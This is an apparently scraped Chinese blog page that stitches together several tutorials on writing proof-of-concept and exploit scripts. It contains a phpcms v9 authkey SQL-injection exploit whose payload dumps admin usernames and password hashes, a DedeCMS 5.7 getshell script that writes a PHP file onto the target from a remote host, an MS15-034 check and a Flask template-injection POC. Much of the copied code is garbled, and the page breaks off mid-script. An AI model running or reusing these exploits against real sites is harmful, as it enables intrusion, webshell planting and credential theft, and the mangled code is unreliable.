精华内容
下载资源
问答
  • Pocsuite-poc-exp 分享一些自己写的poc/exp
  • CVE-2020-0796 POC EXP.zip

    2020-04-01 15:58:54
    CVE-2020-0796的poc检测代码。 CVE-2020-0796本地exp执行代码。
  • 简单的POC EXP编写(上) 作者BY Greekn 今天主要讲的是关于web方面的poc编写 关于web安全个人理解的话 一个就是攻击另一个就是漏洞挖掘了防御的话看自己的经验了 攻击的话不管自己黑的漫天飞也是...
    简单的POC EXP  编写  (上)
     
    作者BY Greekn  

     

    今天主要讲的  是关于web  方面的 poc  编写

     

    关于web  安全  个人理解的话

     

    一个就是攻击   另一个就是漏洞挖掘   防御的话  看自己的经验了

     

    攻击的话  不管自己黑的漫天飞 也是利用别人的  工具   或者漏洞罢了

     

    这样  只会攻击的话 我们是学不会指哪打哪的  所以我们就需要掌握  漏洞挖掘了

     

    漏洞挖掘的流程  应该 是这样的

     

    通用应用程序(挖掘)发现漏洞(调试)>POC/EXP (编写)

     

    所以 POC/EXP  也是  在漏洞挖掘后  的最后一个环节

     

    自己挖到了 oday  零贝  可以写成  批量  工具  加大数据

     

    这样  的话是不是专业一点呢



    编写测试工具https://bbs.ichunqiu.com/thread-23266-1-1.html?from=43

     

    漏洞去年爆的phpcms  v9 authkey  注入漏洞

     

    环境的话  我是百度下载的 phpcms v9 5.8  的网站源码

     

    越高的版本  会修补这个漏洞的

     

    所以百度下载的

     

    我们先来查看一下

     

    payload
     
    [AppleScript]  纯文本查看 复制代码
    ?
    1
    api.php?op = get_menu & act = ajax_getlist & callback = aaaaa & parentid = 0 & key = authkey & cachefile = ..\..\..\phpsso_server\caches\caches_admin\caches_data\applist & path = admin



    这个 payload  是爆 phpcms key  ta 可以帮我们来验证一下 phpcms  网站是否有这个漏洞

     

    我们先简单  利用 html  写个  验证   脚本

     

    Html poc  验证代码
    [AppleScript]  纯文本查看 复制代码
    ?
    1
    2
    3
    < form action = "http://127.0.0.1/2/api.php?op=get_menu&act=ajax_getlist&callback=aaaaa&parentid=0&key=authkey&cachefile=..\..\..\phpsso_server\caches\caches_admin\caches_data\applist&path=admin" method = "post" >
    < input type = "submit" value = "爆菊花" / >
    < / form >

    这个payload GET 的方式 访问的 我们无需提交数据

    <ignore_js_op> 


    我们点击 submit 表单
    <ignore_js_op>

     

    我们访问了这个网站  验证了这个网站是存在漏洞的
    关于 html  编写 poc  方式多种多样主要 看 payload

     

    我们根据payload  来编写 脚本  or  工具

     

    不过  这样的话  还是非常麻烦的

     

    我们还是  去写  一款  可视化的  利用工具吧

     

      验证  漏洞   然后    利用漏洞

     

    这样才能达到我们的目的对吧

     

    补充一下
    关于POC  EXP  的概念
    I春秋论坛找的

     

    通常 EXP OR POC  都是可以执行的的漏洞利用脚本 或者程序
    区别主要在于是否恶意

     

    Poc  proof  of  concept  的简称 翻译过来就是 (漏洞验证)

     

    Exp  是  exploit   的简称 翻译过来就是 (漏洞利用)

     

    搞清楚概念就行了

     

    下面我们  写的是exp  利用工具

     

    开发环境

     

    编程语言 >  易语言

     

    利用模块 >  精易模块

     

    函数()的话  自己看代码了

     

    我们写简单看一下注入的脚本

     

    这段是php 写的代码
     
    [AppleScript]  纯文本查看 复制代码
    ?
    001
    002
    003
    004
    005
    006
    007
    008
    009
    010
    011
    012
    013
    014
    015
    016
    017
    018
    019
    020
    021
    022
    023
    024
    025
    026
    027
    028
    029
    030
    031
    032
    033
    034
    035
    036
    037
    038
    039
    040
    041
    042
    043
    044
    045
    046
    047
    048
    049
    050
    051
    052
    053
    054
    055
    056
    057
    058
    059
    060
    061
    062
    063
    064
    065
    066
    067
    068
    069
    070
    071
    072
    073
    074
    075
    076
    077
    078
    079
    080
    081
    082
    083
    084
    085
    086
    087
    088
    089
    090
    091
    092
    093
    094
    095
    096
    097
    098
    099
    100
    101
    102
    103
    104
    105
    106
    107
    108
    109
    110
    111
    112
    113
    114
    115
    116
    117
    118
    119
    120
    121
    122
    123
    124
    125
    126
    127
    128
    129
    130
    131
    132
    133
    134
    135
    136
    137
    138
    139
    140
    141
    142
    143
    144
    145
    146
    147
    148
    149
    150
    151
    152
    153
    154
    155
    156
    157
    158
    159
    160
    161
    162
    163
    164
    165
    166
    167
    168
    169
    170
    171
    172
    173
    174
    175
    176
    177
    178
    179
    180
    181
    182
    183
    184
    185
    186
    187
    188
    189
    190
    191
    192
    193
    194
    195
    196
    197
    198
    199
    200
    < ?php
    #error_reporting(0);
     
    $ url = $_GET[' url '];
    $ key = $_GET[' key '];
    / / $host = '网站';
    / / $auth_key = ' key ';
    / / $ string = "action=member_delete&uids=" .$_GET[' id ']; / / uids注入点
     
     
    $host = "http://$url/" ;
    $auth_key = "$key" ;
    $ string = "action=member_delete&uids=" .$_GET[' id ']; / / uids注入点
    $strings = "action=member_add&uid=88888&random=333333&username=test123456&password=e445061346e44cc38d9f985836b9eac6&email=ffff@qq.com®ip=8.8.8.8" ;
     
     
     
     
    $ecode = sys_auth ( $strings , 'ENCODE' , $auth_key ) ;
    $ url = $host. "/api.php?op=phpsso&code=" .$ecode;
    $resp = file_get_contents ( $ url ) ;
    #echo $resp;
    $ecode = sys_auth ( $ string , 'ENCODE' , $auth_key ) ;
    $ url = $host. "/api.php?op=phpsso&code=" .$ecode;
    #echo $url;
    $resp = file_get_contents ( $ url ) ;
    echo $resp;
     
     
     
    $ecode = sys_auth 2 ( $strings , 'ENCODE' , $auth_key ) ;
    $ url = $host. "/api.php?op=phpsso&code=" .$ecode;
    $resp = file_get_contents ( $ url ) ;
    #echo $resp;
    $ecode = sys_auth 2 ( $ string , 'ENCODE' , $auth_key ) ;
    $ url = $host. "/api.php?op=phpsso&code=" .$ecode;
    $resp = file_get_contents ( $ url ) ;
    echo $resp;
     
     
    $ecode = sys_auth 3 ( $strings , 'ENCODE' , $auth_key ) ;
    $ url = $host. "/api.php?op=phpsso&code=" .$ecode;
    $resp = file_get_contents ( $ url ) ;
    #echo $resp;
    $ecode = sys_auth 3 ( $ string , 'ENCODE' , $auth_key ) ;
    $ url = $host. "/api.php?op=phpsso&code=" .$ecode;
    $resp = file_get_contents ( $ url ) ;
    echo $resp;
     
     
     
    function sys_auth ( $ string , $operation = 'ENCODE' , $ key = '' , $expiry = 0 ) {
             $key_length = 4 ;
             $ key = md 5 ( $ key ! = '' ? $ key : pc_base : : load_config ( 'system' , 'auth_key' ) ) ;
             $fixedkey = md 5 ( $ key ) ;
             $egiskeys = md 5 ( substr ( $fixedkey , 16 , 16 ) ) ;
             $runtokey = $key_length ? ( $operation = = 'ENCODE' ? substr ( md 5 ( microtime ( true ) ) , - $key_length ) : substr ( $ string , 0 , $key_length ) ) : '';
             $keys = md 5 ( substr ( $runtokey , 0 , 16 ) . substr ( $fixedkey , 0 , 16 ) . substr ( $runtokey , 16 ) . substr ( $fixedkey , 16 ) ) ;
             $ string = $operation = = 'ENCODE' ? sprintf ( '% 010 d' , $expiry ? $expiry + time ( ) : 0 ) .substr ( md 5 ( $ string .$egiskeys ) , 0 , 16 ) . $ string :
     
    base 64 _decode ( strtr ( substr ( $ string , $key_length ) , ' - _' , ' + / ' ) ) ;
     
             if ( $operation = = 'ENCODE' ) {
                     $ string . = substr ( md 5 ( microtime ( true ) ) , -4 ) ;
             }
             if ( function_exists ( 'mcrypt_encrypt' ) = = true ) {
                     $ result = sys_auth_ex ( $ string , $operation , $fixedkey ) ;
             } else {
                     $i = 0 ; $ result = '';
                     $string_length = strlen ( $ string ) ;
                     for ( $i = 0 ; $i < $string_length; $i + + ) {
                             $ result . = chr ( ord ( $ string { $i } ) ^ ord ( $keys { $i % 32 } ) ) ;
                     }
             }
             if ( $operation = = 'DECODE' ) {
                     $ result = substr ( $ result , 0 , -4 ) ;
             }
             
             if ( $operation = = 'ENCODE' ) {
                     return $runtokey . rtrim ( strtr ( base 64 _encode ( $ result ) , ' + / ' , ' - _' ) , ' = ' ) ;
             } else {
                     if ( ( substr ( $ result , 0 , 10 ) = = 0 || substr ( $ result , 0 , 10 ) - time ( ) > 0 ) & & substr ( $ result , 10 , 16 ) = = substr ( md 5 ( substr ( $ result ,
     
    26 ) .$egiskeys ) , 0 , 16 ) ) {
                             return substr ( $ result , 26 ) ;
                     } else {
                             return '';
                     }
             }
    }
     
    function sys_auth_ex ( $ string , $operation = 'ENCODE' , $ key )
    {
         $encrypted_data = "" ;
         $td = mcrypt_module_open ( 'rijndael -256 ' , '' , 'ecb' , '' ) ;
      
         $iv = mcrypt_create_iv ( mcrypt_enc_get_iv_size ( $td ) , MCRYPT_RAND ) ;
         $ key = substr ( $ key , 0 , mcrypt_enc_get_key_size ( $td ) ) ;
         mcrypt_generic_init ( $td , $ key , $iv ) ;
     
         if ( $operation = = 'ENCODE' ) {
             $encrypted_data = mcrypt_generic ( $td , $ string ) ;
         } else {
             $encrypted_data = rtrim ( mdecrypt_generic ( $td , $ string ) ) ;
         }
         mcrypt_generic_deinit ( $td ) ;
         mcrypt_module_close ( $td ) ;
         return $encrypted_data;
    }
     
     
     
    function  sys_auth 2 ( $ string , $operation = 'ENCODE' , $ key = '' , $expiry = 0 ) {
                     $ckey_length = 4 ;
                     $ key = md 5 ( $ key ! = '' ? $ key : $this - > ps_auth_key ) ;
                     $keya = md 5 ( substr ( $ key , 0 , 16 ) ) ;
                     $keyb = md 5 ( substr ( $ key , 16 , 16 ) ) ;
                     $keyc = $ckey_length ? ( $operation = = 'DECODE' ? substr ( $ string , 0 , $ckey_length ) : substr ( md 5 ( microtime ( ) ) , - $ckey_length ) ) : '';
     
                     $cryptkey = $keya.md 5 ( $keya.$keyc ) ;
                     $key_length = strlen ( $cryptkey ) ;
     
                     $ string = $operation = = 'DECODE' ? base 64 _decode ( strtr ( substr ( $ string , $ckey_length ) , ' - _' , ' + / ' ) ) : sprintf ( '% 010 d' , $expiry ? $expiry +
     
    time ( ) : 0 ) .substr ( md 5 ( $ string .$keyb ) , 0 , 16 ) .$ string ;
                     $string_length = strlen ( $ string ) ;
     
                     $ result = '';
                     $box = range ( 0 , 255 ) ;
     
                     $rndkey = array ( ) ;
                     for ( $i = 0 ; $i < = 255 ; $i + + ) {
                             $rndkey[$i] = ord ( $cryptkey[$i % $key_length] ) ;
                     }
     
                     for ( $j = $i = 0 ; $i < 256 ; $i + + ) {
                             $j = ( $j + $box[$i] + $rndkey[$i] ) % 256 ;
                             $tmp = $box[$i];
                             $box[$i] = $box[$j];
                             $box[$j] = $tmp;
                     }
     
                     for ( $a = $j = $i = 0 ; $i < $string_length; $i + + ) {
                             $a = ( $a + 1 ) % 256 ;
                             $j = ( $j + $box[$a] ) % 256 ;
                             $tmp = $box[$a];
                             $box[$a] = $box[$j];
                             $box[$j] = $tmp;
                             $ result . = chr ( ord ( $ string [$i] ) ^ ( $box[ ( $box[$a] + $box[$j] ) % 256 ] ) ) ;
                     }
     
                     if ( $operation = = 'DECODE' ) {
                             if ( ( substr ( $ result , 0 , 10 ) = = 0 || substr ( $ result , 0 , 10 ) - time ( ) > 0 ) & & substr ( $ result , 10 , 16 ) = = substr ( md 5 ( substr ( $ result ,
     
    26 ) .$keyb ) , 0 , 16 ) ) {
                                     return substr ( $ result , 26 ) ;
                             } else {
                                     return '';
                             }
                     } else {
                             return $keyc.rtrim ( strtr ( base 64 _encode ( $ result ) , ' + / ' , ' - _' ) , ' = ' ) ;
                     }
             }
     
     
             
    function sys_auth 3 ( $ string , $operation = 'ENCODE' , $ key = '' , $expiry = 0 ) {
                     $key_length = 4 ;
                     $ key = md 5 ( $ key ) ;
                     $fixedkey = md 5 ( $ key ) ;
                     $egiskeys = md 5 ( substr ( $fixedkey , 16 , 16 ) ) ;
                     $runtokey = $key_length ? ( $operation = = 'ENCODE' ? substr ( md 5 ( microtime ( true ) ) , - $key_length ) : substr ( $ string , 0 , $key_length ) ) : '';
                     $keys = md 5 ( substr ( $runtokey , 0 , 16 ) . substr ( $fixedkey , 0 , 16 ) . substr ( $runtokey , 16 ) . substr ( $fixedkey , 16 ) ) ;
                      
                     $ string = $operation = = 'ENCODE' ? sprintf ( '% 010 d' , $expiry ? $expiry + time ( ) : 0 ) .substr ( md 5 ( $ string .$egiskeys ) , 0 , 16 ) . $ string :
     
    base 64 _decode ( substr ( $ string , $key_length ) ) ;
                     / / 10 位密文过期信息 + 16 位明文和密钥生成的密文验证信息 + 明文
                      
                     $i = 0 ; $ result = '';
                     $string_length = strlen ( $ string ) ;
                     for ( $i = 0 ; $i < $string_length; $i + + ) {
                       $ result . = chr ( ord ( $ string { $i } ) ^ ord ( $keys { $i % 32 } ) ) ;
                     }
                      
                     if ( $operation = = 'ENCODE' ) {
                         return $runtokey . str_replace ( ' = ' , '' , base 64 _encode ( $ result ) ) ;
                     } else {
                             if ( ( substr ( $ result , 0 , 10 ) = = 0 || substr ( $ result , 0 , 10 ) - time ( ) > 0 ) & & substr ( $ result , 10 , 16 ) = = substr ( md 5 ( substr ( $ result ,
     
    26 ) .$egiskeys ) , 0 , 16 ) ) {
                               return substr ( $ result , 26 ) ;
                             } else {
                               return '';
                             }
                     }
         }
     
     
    ? >

     

    其中我们要填写二个参数  一个是获取的key  和目标站

     

    ta 在写到  php  环境 下 执行

     

    然后启用我们的注入payload  才行

     

    我们看下payload

     

    [AppleScript]  纯文本查看 复制代码
    ?
    1
    php? url = url & key = key & id = userid = 1 % 20 and% 20 ( SELECT% 201 % 20 FROM ( SELECT% 20 count ( * ) , concat ( ( SELECT ( SELECT% 20 concat ( 0 x 7 e , 0 x 27 , cast ( ( substring ( ( select + concat ( 0 x 7 e , 0 x 27 , username , 0 x 3 a , + password , + 0 x 3 a , + encrypt , 0 x 27 , 0 x 40 , 0 x 7 e ) + FROM + `v 9 _admin` + WHERE + 1 + limit + 0 , 1 ) , 1 , 62 ) ) % 20 as% 20 char ) , 0 x 27 , 0 x 7 e ) ) % 20 FROM% 20 information_schema.tables% 20 limit% 200 , 1 ) , floor ( rand ( 0 ) * 2 ) ) x% 20 FROM% 20 information_schema.columns% 20 group% 20 by% 20 x ) a )
     
    这个直接在 那个注入脚本后面执行注入payload 才能爆出账户密码来
    这个 payload 需要填写二个参数和之前一样一个是key 和目标站
    然后看一下我们   易语言写的 EXP  利用工具怎么写吧

    <ignore_js_op> 

    我们写看一下软件的界面吧

     

    我的想法是  首先写验证漏洞是不是存在

     

    第二个自动会填写获取的key  和目标 URL  到环境参数搭建这里

     

    然后就是  自己填写一下 php 环境的路径还有生成的文件名是 php 前面的自定义就可以了

     

    然后开始获取数据这里  自己只要填写一下local  本地 地址就可以了就是那个  php 环境下的那个生成的文件 填写文件名和后缀就可以

     

    开始exploit  获取数据了



    我们看一下流程

     

    首先我们输入目标地址  点击验证漏洞

     

    判断漏洞存在  程序会吧数据回显的key  自动输入到环境参数搭建这里

     

    <ignore_js_op>
    这样我们把替换的数据都写到了 php 环境下了
    程序也会自动  把环境参数搭建下的 key  和  URL  输入到开始获取数据这里
    <ignore_js_op>
    我们只要输入我们的那个生成的那个php的文件名和后缀和本地地址就可以注入出数据了

     

    然后程序大概的流程是这样的  我会把源代码  打包好放在下面

     

    如果感兴趣的可以看看
    <ignore_js_op>
    我这样就不在过多的去写了

     

    其实也可以添加皮肤  等等  把工具做的好看一点对吧

     

    其实还可以写的方便一点的就不在浪费时间了  主要的架构我觉得是这样的

     

    以后还会出  下篇文章的

     

    这篇文章比较简单
    <ignore_js_op>



    程序没有注释  所以大家可以自己看看  有兴趣的

     

    下面是实战怎么找这个漏洞可以利用的目标
    <ignore_js_op>

     

    所以我不在实战了  实战也是一样的利用了
     
    <ignore_js_op>

    转载于:https://www.cnblogs.com/ichunqiu/p/6907317.html

    展开全文
  • struts2-061-poc.py(可执行简单系统命令) 用法:python struts2-061-poc.py command 例子:python struts2-061-poc.py whoami S2-061-shell.py(可反弹shell) 用法: 首先在一台机器A上监听指定端口(例如:nc -...
  • 常见Exp漏洞POC集合

    2018-01-21 18:22:18
    该资源为bugscan收集的漏洞poc,喜欢的可以下载下来看看,有需要其他资源的也可以发邮件与我交流shulanyy@gmail.com,作为爱好他是免费的。
  • 简单的poc以及exp编写(入门篇)

    千次阅读 多人点赞 2020-12-18 11:06:15
    一、何为POCEXP POC Proof of Concept中文意思是“观点证明”,是用来检测是否存在漏洞的脚本 EXP Exploit的中文意思是“漏洞利用”,是用来利用该漏洞的脚本 二、基础环境Python3 HTTP 方法 内容 GET...

    本文中主要针对的是Web应用渗透中的漏洞,而与Web应用之间的交互大多是基于HTTP协议的。所以用到python中与HTTP协议相关的一些模块

    一、何为POC和EXP

    POC

    Proof of Concept中文意思是“观点证明”,是用来检测是否存在漏洞的脚本

    EXP

    Exploit的中文意思是“漏洞利用”,是用来利用该漏洞的脚本

    二、基础环境Python3

    HTTP

    方法内容
    GET获取资源
    POST传输实体主体
    PUT传输文件
    HEAD获得响应报文首部
    DELETE删除文件
    OPTIONS查询支持的方法
    TRACE追踪路径
    CONNECT要求用隧道协议进行连接
    LINK建立和资源之间的连接

    requests模块中的http方法

    在python中的使用
    res = requests.get()
    res = requests.post()
    res = requests.put()
    res = requests.delete()
    res = requests.head()
    res = requests.options()

    参数

    GET参数params
    HTTP头部headers
    POST参数data
    文件files
    Cookiescookies
    重定向处理allow_redirects=False/True
    超时timeout
    证书验证verify=False/True
    工作流(延迟下载)stream=False/True
    事件挂钩hooks=dict(response)
    身份验证auth=
    代理proxies=

    对象方法

    URL.url
    text.text
    编码.encoding/.enconding=
    响应内容.content
    Json解码器.json
    原始套接字响应.raw/.raw.read()
    历史响应代码.history
    抛出异常.raise_for_status
    查看服务器响应头.headers
    查看客户端请求头.request.headers
    查看cookies.cookies
    身份验证.auth=
    更新.update
    解析连接字头.links[]

    三、使用

    了解了这些之后就可以试着去使用python的request模块
    先在本地开启phpstudy模拟服务器端

    在这里插入图片描述
    在服务器创建这样的页面用来接收返回数据
    在这里插入图片描述
    在这里插入图片描述
    接着编写python脚本

    import requests
    res=requests.get("http://127.0.0.1/pocexp/get.php")
    print(res.text) #获取内容
    print(res.status_code) #获取响应状态码
    print(res.encoding)   #获取响应编码
    print(res.content)   #以二进制方式获取响应正文
    print(res.headers)   #获取响应头部
    print(res.url)       #获取提交的URL
    

    运行后可以看到这些结果
    在这里插入图片描述

    相关操作

    ①如何定制头部

    import requests
    url = "http://127.0.0.1/pocexp/get.php"
    header = {"User-Agent":"L1NG"}
    res = requests.get(url=url,headers=header)
    print(res.request.headers)
    

    运行后可以看到这样的结果
    在这里插入图片描述

    ②超时

    在服务器创建这样的页面用来接收返回数据
    在这里插入图片描述
    在这里插入图片描述
    访问该页面时5s后才会显示
    此时编写python超时脚本

    import requests
    url = "http://127.0.0.1/pocexp/timeout.php"
    try:
        res = requests.get(url = url,timeout = 3) #超过3s没获取到页面 输出Timeout
        print(res.text)
    except Exception as e:
        print("Timeout")
    

    在这里插入图片描述
    如果3s没有获取到页面则会显示Timeout

    ③GET 传参

    import requests
    url = "http://127.0.0.1/pocexp/get.php"
    getPara = {"name":"L1NG","pwd":"666"}
    res = requests.get(url = url,params = getPara)
    print(res.text)
    print(res.url)
    

    在这里插入图片描述

    ④POST 传参

    在服务器创建这样的页面用来接收返回数据
    在这里插入图片描述
    在这里插入图片描述

    import requests
    url = "http://127.0.0.1/pocexp/post.php"
    postData = {"name":"L1NG","pwd":"123456"}
    res = requests.post(url = url,data = postData)
    print(res.text)
    

    在这里插入图片描述

    ⑤文件上传

    在服务器创建这样的页面用来接收返回数据
    在这里插入图片描述

    <html>
    <meta charset="utf-8">
    <h1>
    	文件上传测试
    </h1>
    <form
    	action=""
    	method="post"
    	enctype="multipart/form-data"
    >
        <input type="file" name="userUpFile">
    	<input type="submit" name="userSubmit" value=
    	"上传">
    </form>
    </html>
    <hr />
    <?php
    echo"<pre>";
    if(isset($_POST['userSubmit'])){
    	var_dump($_FILES);
    	$tmp_path=$_FILES['userUpFile']['tmp_name'];
    	$path=__DIR__."\\".$_FILES['userUpFile']['name'];
    	//echo $path;
    	if(move_uploaded_file($tmp_path,$path)){
    		echo "upfile success!";
    		echo "<br />".$_FILES['userUpFile']['name'];
    		echo $path;
    	}else{
    		echo "upfile failed";
    	}	
    }
    	
    ?>
    

    在这里插入图片描述
    编写上传文件的python脚本

    import requests
    url = "http://127.0.0.1/pocexp/upfile.php"
    
    upFile = {"userUpFile":open("poc.py","rb")}
    postData = {"userSubmit":"submit"}
    res = requests.post(url = url,files = upFile,data = postData)
    
    print(res.text)
    

    在这里插入图片描述
    会发现文件已经成功上传到php页面的文件夹下

    ⑥cookies

    在服务器创建这样的页面用来接收返回数据
    在这里插入图片描述
    在这里插入图片描述

    import requests
    url="http://127.0.0.1/pocexp/cookie.php"
    coo = {"name":"L1NG"}
    res = requests.get(url = url,cookies = coo)
    print(res.text)
    

    在这里插入图片描述
    下一节讲述利用sql-lab-8和sql-lab-9编写获取数据库的exp
    简单的poc以及exp编写(进阶篇)

    展开全文
  • POC-EXP编写

    千次阅读 2020-08-18 09:54:47
    代码演示EXP一.概念二.思维图解三.代码演示 POC 一.概念 漏洞刚被批漏之后,有时候现有的工具里面是没有相应的poc的,那我们可以根据原理写出对应的poc代码,验证漏洞是否存在。 作用:用于漏洞验证,更加高效的快速...

    POC

    一.概念

    漏洞刚被批漏之后,有时候现有的工具里面是没有相应的poc的,那我们可以根据原理写出对应的poc代码,验证漏洞是否存在。

    作用:用于漏洞验证,更加高效的快速挖掘漏洞,而不是手工测试,节省时间。

    二.思维图解

    1. 深入了解漏洞原理
    2. 拼接payload到url中或者header头和cookies中(大多数情况都这样)
    3. 发起请求
    4. 通过响应头判断中间件和脚本版本
    5. 根据其漏洞特征,判断该漏洞是否存在

    在这里插入图片描述

    三.代码演示

    import requests
    a= input('请输入MS_15_034 IP或域名:')
    url=a
    #1.拼接payload到url中或者header头和cookies中
    header={
        'Host': 'stuff',
        'Range': 'bytes=0-18446744073709551615'
    }
    #2.发起请求
    r = requests.get(url,headers=header)
    #3.通过响应头判断中间件和脚本版本
    server = r.headers['Server']
    if server.find('IIS/7.5') or server.find('IIS/8.0'):
    #4.根据其漏洞特征,判断该漏洞是否存在
        if r.text.find('Requested Range Not Satisfiable'):
            print('find ms15_035')
        else:
            pass
    
    else:
        print('no find')
    

    附加类似的脚本参考
    在这里插入图片描述

    EXP

    一.概念

    漏洞刚被批漏之后,有时候现有的工具里面是没有相应的exp的,那我们可以根据原理写出对应的exp代码,验证漏洞是否存在。

    作用:用于漏洞利用,更加高效的漏洞利用,而不是手工测试,节省时间。

    二.思维图解

    exp编写情况很多,所以了解漏洞原理以后,根据实际情况去编写exp

    1. 深入了解漏洞原理
    2. 创建发起攻击的payload
    3. 发起攻击请求
    4. 判断是否攻击成功

    在这里插入图片描述

    三.代码演示

    织梦5.7 sp1远程文件包含getshell exp

    # -*- coding:utf-8 -*-
    
    import requests
    import time
    
    def dada(url):
        url_index=url+"/install/index.php"
        headers = {"User-Agent": "Mozilla/5.0 (Windows NT 10.0; WOW64) AppleWebKit/537.36 \
                                (KHTML, like Gecko) Chrome/51.0.    2704.103 Safari/537.36"}
        try:
            url_request=requests.get(url_index,headers)
            time.sleep(3)
            if(url_request.status_code==200):
                print("漏洞文件存在,开始测试")
                time.sleep(5)
                #创建发起攻击的payload
                url_url = url + "/install/index.php?step=11&insLockfile=a&s_lang=x&install_demo_name=../data/admin/config_update.php"  # 重置其参数
                print(url_url)
                #发起攻击请求
                requests.get(url=url_url, headers=headers)  # 发送重置请求
                
    			#创建发起攻击的payload
                url_url2 = url + "/install/index.php?step=11&insLockfile=a&s_lang=x&install_demo_name=../data/test.php&updateHost=http://127.0.0.1/"  # 换成存在demodata.x.txt地址
                print(url_url2)
                #发起攻击请求
                requests.get(url=url_url2, headers=headers)  # 发送exp
                url_exp = url + "/data/test.php"
                url_final = requests.get(url=url_exp, headers=headers)
    			#判断是否攻击成功
                if url_final.status_code == 200:
                    print("攻击成功,请访问 \n "+url_exp)
                else:
                    print("测试失败,请人工测试")
            else:
                print("检测完成,该漏洞不存在")
    
        except:
            print("error:请检测网络或者url地址")
    
        #print(url)
    
    if __name__ == '__main__':
        dada("http://127.0.0.1/dede/dedecms")
    
    展开全文
  • POCEXP脚本

    千次阅读 2021-01-25 17:42:50
    引言 在我们的日常渗透测试中,经常挖掘到一些漏洞,但是我们一般使用挖掘...因为市面上有关POCEXP脚本的教程比较稀少,但是比较明确的是想要写好POCEXP,一般都要有一些网络编程的基础,python的要会基本的爬虫

    引言

    在我们的日常渗透测试中,经常挖掘到一些漏洞,但是我们一般使用挖掘工具或者手工判断的时候,不好确定是不是真的存在这么一个漏洞,因此POC脚本就应运而生了。POC全称是Proof of Concept,中文译作概念验证。它是专门为了验证漏洞是否真的存在的脚本。而EXP全称是Exploit,中文译作漏洞利用程序。它是对POC验证结果的一种漏洞利用脚本。

    编程基础

    因为市面上有关POC和EXP脚本的教程比较稀少,但是比较明确的是想要写好POC和EXP,一般都要有一些网络编程的基础,python的要会基本的爬虫,Java的输入输出流等,更高级点的涉及到pwn模块的软件漏洞利用和汇编反汇编的知识,总的来说,对厉害的人来说这些都是小case,对小白来说这都是天方夜谭、无从下手。写POC和EXP的思路是最重要的,明白漏洞在哪,从那里开始发散思路,因此要对漏洞原理了熟于心。

    Pocsuite渗透测试框架

    Pocsuite是一款基于漏洞与POC的远程漏洞验证框架,支持Windows/Linux/Mac OS X等系统,整个框架操作灵活,既方便了对漏洞的管理、查找等,也提高了工作效率。

    安装步骤

    方法一:通过git命令来克隆GitHub进行下载

    git clone git@github.com:nopesec/pocsuite3.git
    

    方法二:使用wget命令下载对应的zip包进行安装

    wget https://github.com/knownsec/pocsuite3/archive/master.zip
    

    方法三:直接使用pip命令进行安装(本人使用的是这个,但是网络不稳定)

    pip3 install pocsuite3
    

    完成安装后输入pocsuite -version查看poc的版本,pocsuite3不支持python2版本,必须是python3才能安装成功。

    Pocsuite3的参数及作用

    参考它的文档

    • PoC scripts can running with attack,verify, shell mode in different way
    • Plugin ecosystem
    • Dynamic loading PoC script from any where (local file, redis , database, Seebug …)
    • Load multi-target from any where (CIDR, local file, redis , database, Zoomeye, Shodan …)
    • Results can be easily exported
    • Dynamic patch and hook requests
    • Both command line tool and python package import to use
    • IPV6 support
    • Global HTTP/HTTPS/SOCKS proxy support
    • Simple spider API for PoC script to use
    • Integrate with Seebug (for load PoC from Seebug website)
    • Integrate with ZoomEye (for load target from ZoomEye Dork)
    • Integrate with Shodan (for load target from Shodan Dork)
    • Integrate with Ceye (for verify blind DNS and HTTP request)
    • Integrate with Fofa (for load target from Fofa Dork)
    • Friendly debug PoC scripts with IDEs

    Flask环境搭建

    下载github中的文件并使用docker-compose搭建起flask环境

    git clone https://github.com/vulhub/vulhub
    cd vulhub
    docker-compose build	//编译下载漏洞环境所需的配置
    docker-compose up -d	//启动漏洞环境
    

    出现这个表明搭建成功
    在这里插入图片描述

    注入原理

    Flask依赖中就有造成模板注入漏洞的插件Jinja2的模板引擎,Jinja2是一个面向Python的模板语言。我们先来审计源码
    在这里插入图片描述
    从这里可以看出name的值是直接从get参数中获取的,所以Template是完全可控的。

    我们在GET请求中传入一个任意参数,成功将模板语言传递到参数中
    在这里插入图片描述

    POC脚本编写

    POC的命名形式为:组成漏洞应用名_版本号_漏洞类型名称,形如_1847_seeyon_3_1_login_info_disclosure.py

    from collections import OrderedDict
    from urllib.parse import urljoin
    import re
    from pocsuite3.api import POCBase, Output, register_poc, logger, requests, OptDict, VUL_TYPE
    from pocsuite3.api import REVERSE_PAYLOAD, POC_CATEGORY
    
    class FlaskPOC(POCBase):
        vulID = '1.1'		#ssvid ID,如果是提交漏洞的同时提交POC,则写成0
        version = '1.1'		#默认为1
        author = ['1.1']	#POC作者的名字
        vulDate = '1.1'		#漏洞公开的时间,不明确是可以写今天
        createDate = '1.1'	#编写POC的日期
        updateDate = '1.1'	#POC更新的时间,默认和编写时间一样
        references = ['flask']	#漏洞地址来源,0day不用写
        name = 'flask'			#POC名称
        appPowerLink = 'flask'	#漏洞厂商的主页地址
        appName = 'flask'		#漏洞应用名称
        appVersion = 'flask'	#漏洞影响版本
        vulType = VUL_TYPE.CODE_EXECUTION	#漏洞类型
        desc = '''				
            
        '''						#漏洞简要描述
        samples = ['127.0.0.1:8000']	#测试样例,使用POC测试成功的网站
        category = POC_CATEGORY.EXPLOITS.REMOTE
    
    	    def _options(self):
            o = OrderedDict()
            payload = {
                "nc": REVERSE_PAYLOAD.NC,
                "bash": REVERSE_PAYLOAD.BASH,
            }
            o["command"] = OptDict(selected="bash", default=payload)
            return o
    
        def _verify(self):
            result = {}
            path = "?name="
            url = self.url + path
            # print(url)
            payload = "{{22*22}}"
            # print(payload)
            try:
                resq = requests.get(url + payload)
                if resq and resq.status_code == 200 and "484" in resq.text:
                    result['VerifyInfo'] = {}
                    result['VerifyInfo']['URL'] = url
                    result['VerifyInfo']['Name'] = payload
            except Exception as e:
                return
            return self.parse_output(result)
    
    
        def parse_output(self,result):
            output = Output(self)
            if result:
                output.success(result)
            else:
                output.fail('target is not vulnerable')
            return output
    register_poc(FlaskPOC)
    

    上面使用了一个简单的payload便验证了这个漏洞确实是存在的,如果返回状态码为200,则代表网页正常请求,若返回的payload值为484,则表示服务器将url传入的payload正常执行,说明此处存在安全漏洞。
    在这里插入图片描述

    编写EXP脚本

    EXP脚本的编写和POC脚本编写一样,只需要加多一段漏洞利用代码即可。关于Jinja2注入的方法,官方给出的方法是在模板环境中注册函数就可以进行调用了。这里需要用到Python沙盒逃逸的方法。

    from collections import OrderedDict
    from urllib.parse import urljoin
    import re
    from pocsuite3.api import POCBase, Output, register_poc, logger, requests, OptDict, VUL_TYPE
    from pocsuite3.api import REVERSE_PAYLOAD, POC_CATEGORY
    
    
